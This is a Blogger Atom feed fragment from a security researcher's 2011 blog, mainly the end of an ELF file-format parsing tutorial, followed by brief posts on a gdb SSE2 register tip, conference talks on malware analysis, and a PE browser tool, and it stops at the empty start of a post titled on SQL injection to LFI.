&lt;b&gt;Section Addr: DWORD&lt;/b&gt;
&lt;b&gt;Section Start Offset: DWORD&lt;/b&gt;
&lt;b&gt;Section Size: DWORD&lt;/b&gt;
Section ES: DWORD
Section Lk: DWORD
Section Inf: DWORD
Section Align: DWORD&lt;/pre&gt;&lt;br /&gt;
OK, we successfuly parse Section Headers Table but we need to parse Section Names from .shstrtab section.&amp;nbsp;&lt;b&gt;Section header string table index&lt;/b&gt; is points .shstrtab section&#39;s index. When we grab start offset of .shstrtab (26th Section Header) we can accessing and parsing names by using Section Name Offsets.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT7dtD0xfBrFN9tV8AWvrU0UQsQ-RDquhG_6-3Xn1vdRljjE-PhcP9n4gVGEP_gtnHY_wFMbuvoiDJ72hXqaXvRGGJVEFLtK1b1kf7a3Wn-WAFWftKQZyCs3GEAvS1uNwSa7g2HapS7SvK/s1600/shstrtab.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;10&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT7dtD0xfBrFN9tV8AWvrU0UQsQ-RDquhG_6-3Xn1vdRljjE-PhcP9n4gVGEP_gtnHY_wFMbuvoiDJ72hXqaXvRGGJVEFLtK1b1kf7a3Wn-WAFWftKQZyCs3GEAvS1uNwSa7g2HapS7SvK/s400/shstrtab.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Example shows .shstrtab section is located at offset 1068h (offset: 4200). Let&#39;s look at the hexdump of this section.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifBguZ6HqBGBAzLhFPOGAiUp2M_hUfyJ5qLmdn-iJj35GGv-4MXqlljYxDFHkDoE87WRoOnKRYt8VFsdrrrxtgarL9vUCJ2CVEGWiqOn5FzHIwrm3rlCmmVVGdrUII_K_adOGdo2x5ccQE/s1600/shstrtab2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;174&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifBguZ6HqBGBAzLhFPOGAiUp2M_hUfyJ5qLmdn-iJj35GGv-4MXqlljYxDFHkDoE87WRoOnKRYt8VFsdrrrxtgarL9vUCJ2CVEGWiqOn5FzHIwrm3rlCmmVVGdrUII_K_adOGdo2x5ccQE/s400/shstrtab2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
So we will try finding section name of exampel section header.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm21lRUnvenpMuVpxbP2d3kXmxI3LvTuUoLgpEqNMAm8119ltpvQ8n9T_Dsh9banY0bBKAoLuJlHZIcfPTSf3RzVZslP7bBNU59XAafBhnbLu9qTSbBuF7NaGsVYTt0UBiwxE2j9VzuhVa/s1600/example_section_header.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm21lRUnvenpMuVpxbP2d3kXmxI3LvTuUoLgpEqNMAm8119ltpvQ8n9T_Dsh9banY0bBKAoLuJlHZIcfPTSf3RzVZslP7bBNU59XAafBhnbLu9qTSbBuF7NaGsVYTt0UBiwxE2j9VzuhVa/s1600/example_section_header.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
White area is an example section header for this executable. First DWORD value is Section Name offset and it&#39;s 92h (offset: 146 of .shstrtab).&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote style=&quot;text-align: center;&quot;&gt;&lt;b&gt;0x1068 + 0x92 = 0x10FA&lt;/b&gt;&lt;/blockquote&gt;&lt;br /&gt;
At offset 0x10FA we see .text string. So we can say example is section header of .text segment. Lets parse the .text segment. Address of .text segment is &lt;b&gt;0x08048310&lt;/b&gt; (Did you remember the EntryPoint?) Also its start offset is 310h (offset: 784) and size is 17Ch (380 bytes).&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote style=&quot;text-align: center;&quot;&gt;&lt;b&gt;0x310 + 0x17C = 0x48C&lt;/b&gt;&lt;/blockquote&gt;&lt;br /&gt;
Now, we can say .text segment starting at offset 0x310 and ending at offset 0x48C.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhr_OvK6PO8Wk2w34fZhN7xy0jPTEXBOWH71p9zVejnxXEmNEY2DLjgWlH1Psl0CGj5tGHRxHu5GkR1_ySR_a4nGpp5KS3xA0uiNctT_NTYtY0QFAzmBCvYSYh9hIlXL9wXqzW61K4qBG1w/s1600/text_segment.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;262&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhr_OvK6PO8Wk2w34fZhN7xy0jPTEXBOWH71p9zVejnxXEmNEY2DLjgWlH1Psl0CGj5tGHRxHu5GkR1_ySR_a4nGpp5KS3xA0uiNctT_NTYtY0QFAzmBCvYSYh9hIlXL9wXqzW61K4qBG1w/s400/text_segment.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;It&#39;s OK we parse .text segment. You can confirm it by disassemble it by objdump or gdb. I also coded an simple ELF parser library in Ruby according this structures, it will be released soon.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Cya!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/6977136329998787774/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2011/07/elf-file-format-parsing.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/6977136329998787774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/6977136329998787774'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2011/07/elf-file-format-parsing.html' title='ELF File Format Parsing'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivpCuJDBcE9PMP41JIF7t_H8bLNY6FC6IWapPPYSikX5gMj2QsN4-YaKXIeVH-nrF9iEUAayv8VHHNar4eV3GQiYqB3dQL0doirctxTMvjQKdmR_wp5vxoPiAiwr4CbFV-sr43e9WnEuLr/s72-c/elf_header.png" height="72" width="72"/><thr:total>3</thr:total><georss:featurename>Bilinmeyen konum.</georss:featurename><georss:point>41.064792218576677 28.993134498596191</georss:point><georss:box>41.061799218576681 28.988198998596193 41.067785218576674 28.99806999859619</georss:box></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-4595384373164911745</id><published>2011-06-29T14:40:00.000+03:00</published><updated>2011-07-05T14:57:10.646+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="canberk"/><category scheme="http://www.blogger.com/atom/ns#" term="me"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><category scheme="http://www.blogger.com/atom/ns#" term="sunum"/><category scheme="http://www.blogger.com/atom/ns#" term="web app security"/><title type='text'>[Etkinlik] Web Tehditlerine Karsı Hazırlıklı Olun</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_QTcOHy_C6ppmokmJd-Ge-8rl8JiyQQ8FrATojIiu4Rh1SoPd6PAML0fQOHdTlUZyDpE-xaQcxYoW9SVWemoYd0ZBMUMbWY7qalttI_KaBtEfmtBm8u_XNiGLGjZFxtaNcMWRTy6qgls3/s1600/IMG_0248.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;196&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_QTcOHy_C6ppmokmJd-Ge-8rl8JiyQQ8FrATojIiu4Rh1SoPd6PAML0fQOHdTlUZyDpE-xaQcxYoW9SVWemoYd0ZBMUMbWY7qalttI_KaBtEfmtBm8u_XNiGLGjZFxtaNcMWRTy6qgls3/s400/IMG_0248.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
28 Haziran 2011 tarihinde HP Yazılım – İnovasyon Merkezi’nde gerçekleşmiş olan “Web Tehditlerine Karşı Hazırlıklı Olun” isimli seminere ait sunum ve fotoğraflar aşağıdadır. Katılan herkese teşekkürler umarım faydalı geçmiştir :)&lt;br /&gt;
&lt;br /&gt;
Sunum Dosyası (PDF):&lt;br /&gt;
&lt;a href=&quot;http://www.adeosecurity.com/sunum/HP-AppSec-Presentation.pdf&quot;&gt;http://www.adeosecurity.com/sunum/HP-AppSec-Presentation.pdf&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Fotoğraflar :&lt;br /&gt;
&lt;a href=&quot;http://www.adeosecurity.com/sunum/hp-sunum-resimler.zip&quot;&gt;http://www.adeosecurity.com/sunum/hp-sunum-resimler.zip&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
(Yedek) Sunum Dosyası (PDF):&lt;br /&gt;
&lt;a href=&quot;https://rapidshare.com/files/2951370146/HP-AppSec-Presentation.pdf&quot;&gt;https://rapidshare.com/files/2951370146/HP-AppSec-Presentation.pdf&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/4595384373164911745/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2011/06/etkinlik-web-tehditlerine-kars-hazrlkl.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/4595384373164911745'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/4595384373164911745'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2011/06/etkinlik-web-tehditlerine-kars-hazrlkl.html' title='[Etkinlik] Web Tehditlerine Karsı Hazırlıklı Olun'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_QTcOHy_C6ppmokmJd-Ge-8rl8JiyQQ8FrATojIiu4Rh1SoPd6PAML0fQOHdTlUZyDpE-xaQcxYoW9SVWemoYd0ZBMUMbWY7qalttI_KaBtEfmtBm8u_XNiGLGjZFxtaNcMWRTy6qgls3/s72-c/IMG_0248.JPG" height="72" width="72"/><thr:total>2</thr:total><georss:featurename>Fetıh Mh., Istanbul, Türkiye</georss:featurename><georss:point>41.001574213231493 29.076050956375184</georss:point><georss:box>40.99645621323149 29.071911956375185 41.006692213231496 29.080189956375182</georss:box></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-5627247926430945236</id><published>2011-06-16T01:09:00.000+03:00</published><updated>2011-06-16T01:09:57.390+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="asm"/><category scheme="http://www.blogger.com/atom/ns#" term="debugging"/><category scheme="http://www.blogger.com/atom/ns#" term="gdb"/><title type='text'>[gdb tips] printing SSE2 registers</title><content type='html'>Hi!&lt;br /&gt;
I started &lt;b&gt;[gdb tips]&lt;/b&gt;&amp;nbsp;title for sharing useful gdb tips &amp;amp; tricks. First tip is printing SSE2 registers. You can use print/x for accessing SSE2 registers context.&lt;br /&gt;
&lt;br /&gt;
Example;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;blockquote&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;
=&amp;gt; 0x7ffff530862a:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;movlpd xmm2,QWORD PTR [rsi]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;0x7ffff530862e:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;movhpd xmm1,QWORD PTR [rdi+0x8]&lt;br /&gt;
gdb&amp;gt; &lt;b&gt;print/x $xmm2&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
$1 = &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
v4_float = {0x0, 0x0, 0x0, 0x0},&lt;br /&gt;
v2_double = {0x8000000000000000, 0x8000000000000000},&lt;br /&gt;
v16_int8 = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0, 0x0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff},&lt;br /&gt;
v8_int16 = {0xffff, 0xffff, 0xffff, 0xffff, 0x0, 0xffff, 0xffff, 0xffff},&lt;br /&gt;
v4_int32 = {0xffffffff, 0xffffffff, 0xffff0000, 0xffffffff},&lt;br /&gt;
v2_int64 = {0xffffffffffffffff, 0xffffffffffff0000},&lt;br /&gt;
uint128 = 0xffffffffffff0000ffffffffffffffff&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;}&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;If you&#39;re saying what is f*ckin&#39; SSE2 registers?&amp;nbsp;&lt;/div&gt;&lt;div&gt;Look here -&amp;gt;&amp;nbsp;&lt;a href=&quot;http://en.wikipedia.org/wiki/SSE2&quot;&gt;http://en.wikipedia.org/wiki/SSE2&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/5627247926430945236/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2011/06/gdb-tips-printing-sse2-registers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/5627247926430945236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/5627247926430945236'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2011/06/gdb-tips-printing-sse2-registers.html' title='[gdb tips] printing SSE2 registers'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-9080203918802199335</id><published>2011-06-16T00:21:00.000+03:00</published><updated>2011-06-16T00:22:40.151+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ali kapucu"/><category scheme="http://www.blogger.com/atom/ns#" term="friends"/><title type='text'>Neden normal arkadaslarim yok :&gt;</title><content type='html'>Bende normal arkadaşlar istiyorum!!!1 &lt;a href=&quot;http://www.alikapucu.com/&quot;&gt;Ali&lt;/a&gt; en normallerinden birisi :p&lt;br /&gt;
&lt;br /&gt;
for english reader; My friend Ali&#39;s Wireless Bazooka&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjcuMQwsNaGRAw_qpl2xTiL-WE0xPeUIP_M2x7kNQLmB_AX0QPlWNI73UrbWHswvvVbxorTqWbDTMZ9k6f5XaeTjElU6QVzB03qP_keTfU7Svz_623FXbN2YmfJIiulRd_cM03njwMNhMS/s1600/260314_10150209836889821_708654820_7400191_5854477_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjcuMQwsNaGRAw_qpl2xTiL-WE0xPeUIP_M2x7kNQLmB_AX0QPlWNI73UrbWHswvvVbxorTqWbDTMZ9k6f5XaeTjElU6QVzB03qP_keTfU7Svz_623FXbN2YmfJIiulRd_cM03njwMNhMS/s320/260314_10150209836889821_708654820_7400191_5854477_n.jpg&quot; width=&quot;239&quot; /&gt;&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/9080203918802199335/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2011/06/neden-normal-arkadaslarm-yok.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/9080203918802199335'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/9080203918802199335'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2011/06/neden-normal-arkadaslarm-yok.html' title='Neden normal arkadaslarim yok :&gt;'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjcuMQwsNaGRAw_qpl2xTiL-WE0xPeUIP_M2x7kNQLmB_AX0QPlWNI73UrbWHswvvVbxorTqWbDTMZ9k6f5XaeTjElU6QVzB03qP_keTfU7Svz_623FXbN2YmfJIiulRd_cM03njwMNhMS/s72-c/260314_10150209836889821_708654820_7400191_5854477_n.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-4112380907181264998</id><published>2011-06-15T18:20:00.000+03:00</published><updated>2011-06-15T18:20:45.438+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="2011"/><category scheme="http://www.blogger.com/atom/ns#" term="analiz"/><category scheme="http://www.blogger.com/atom/ns#" term="canberk"/><category scheme="http://www.blogger.com/atom/ns#" term="istsec"/><category scheme="http://www.blogger.com/atom/ns#" term="istsec 11"/><category scheme="http://www.blogger.com/atom/ns#" term="javascript"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="sunum"/><category scheme="http://www.blogger.com/atom/ns#" term="yasin"/><title type='text'>IstSec &#39;11 Sunumları</title><content type='html'>Selamlar,&lt;br /&gt;
Biraz geç oldu ama sonunda sunumları blog&#39;a girme zahmetinde bulundum :&amp;gt; IstSec 11 güzel geçti (en azından bizim oturum). Son dakika değişiklikleri olmuş bizim salon değişmiş vs.. haberimiz yoktu süpriz oldu bizede :]&amp;nbsp;&lt;a href=&quot;http://blog.infradead.com/&quot;&gt;Yasin SÜRER&lt;/a&gt;&amp;nbsp;ile güzel bir deneyim oldu. Konumuz Yeni Nesil Zararlı Kodlardı. Java tabanlı dropper&#39;lardan, Sosyal ağları hedef alan JavaScript worm&#39;lerinden ve geleneksel binary tabanlı zararlı kodların analizinden bahsettik, salonun doluluk oranı tatmin etti bizi, en azından bizi mutlu eden bu tip spesifik konulara bile olan ilgiydi. Daha güzel projelerle yine sahnelerde not alabiliriz bunuda bir spoiler olarak bildireyim buradan. Beklemede kalın ;)&lt;br /&gt;
&lt;br /&gt;
Canberk BOLAT ve Yasin SÜRER - &lt;b&gt;New Generation Malwares &amp;amp; Analysis&lt;/b&gt; sunumunu indirmek için &lt;b&gt;&lt;a href=&quot;http://www.adeosecurity.com/sunum/NewGenerationMalwares%26Analysis.pdf&quot;&gt;tıklayın&lt;/a&gt;&lt;/b&gt;.</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/4112380907181264998/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2011/06/istsec-11-sunumlar.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/4112380907181264998'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/4112380907181264998'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2011/06/istsec-11-sunumlar.html' title='IstSec &#39;11 Sunumları'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-1233635242910840449</id><published>2011-05-22T23:37:00.000+03:00</published><updated>2011-05-22T23:37:40.511+03:00</updated><title type='text'>IstSec &#39;11</title><content type='html'>Selamlar,&lt;br /&gt;
IstSec &#39;11 3-4 Haziran 2011 tarihlerinde Istanbul Bilgi Universitesi Dolapdere kampüsünde olacak. Bizde çalışma arkadaşım (aynı zamanda kardeşim diyebildiğim insanlardan birisi..) &lt;a href=&quot;http://blog.infradead.com/&quot;&gt;Yasin&lt;/a&gt; ile &lt;i&gt;&lt;b&gt;Yeni Nesil Zararlı Kodlar ve Analizi&lt;/b&gt;&lt;/i&gt; adında bir sunum yapacağız, bittiğinde sunumun PDF versiyonunuda buradan yayınlayacağım.&lt;br /&gt;
&lt;br /&gt;
Ayrıca ADEO Security Labs çatısı altında bizleri toplayan ve Türkiye&#39;de ki tabulaşmış güvenlik anlayışının dışında çalışmalarımızı destekleyen sevgili &lt;a href=&quot;http://www.halilozturkci.com/&quot;&gt;Halil Abi&lt;/a&gt;&#39;de &lt;i&gt;&lt;b&gt;Advanced Windows Registry Forensics&lt;/b&gt;&lt;/i&gt; adında bir sunum yapacak.&lt;br /&gt;
&lt;br /&gt;
Oraya gelecek arkadaşlarla görüşmek üzere ;)</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/1233635242910840449/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2011/05/istsec-11.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/1233635242910840449'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/1233635242910840449'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2011/05/istsec-11.html' title='IstSec &#39;11'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-4503504376804145618</id><published>2011-05-12T14:29:00.000+03:00</published><updated>2011-05-13T23:27:49.511+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="file format"/><category scheme="http://www.blogger.com/atom/ns#" term="pe"/><category scheme="http://www.blogger.com/atom/ns#" term="windows .lnk"/><title type='text'>PE Browser</title><content type='html'>İlgili dökümanda* bahsettiğimiz PE-Browser sadece o anlık bir çözümdü, biraz daha geliştirip konsol gibi bir çözüm düşünüyoruz, yakinda başlarım onada :&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[*]&amp;nbsp;&lt;a href=&quot;http://www.adeosecurity.com/guvenlik/dump-exe-with-c-ruby/&quot;&gt;http://www.adeosecurity.com/guvenlik/dump-exe-with-c-ruby/&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/4503504376804145618/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2011/05/pe-browser.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/4503504376804145618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/4503504376804145618'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2011/05/pe-browser.html' title='PE Browser'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-8061059580078243540</id><published>2011-04-20T16:27:00.000+03:00</published><updated>2011-04-20T16:36:41.804+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="lfi"/><category scheme="http://www.blogger.com/atom/ns#" term="local file inclusion"/><category scheme="http://www.blogger.com/atom/ns#" term="sql injection"/><category scheme="http://www.blogger.com/atom/ns#" term="web app security"/><title type='text'>SQL Injection Üzerinden LFI</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #383838; font-family: &#39;Trebuchet MS&#39;; font-size: 14px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
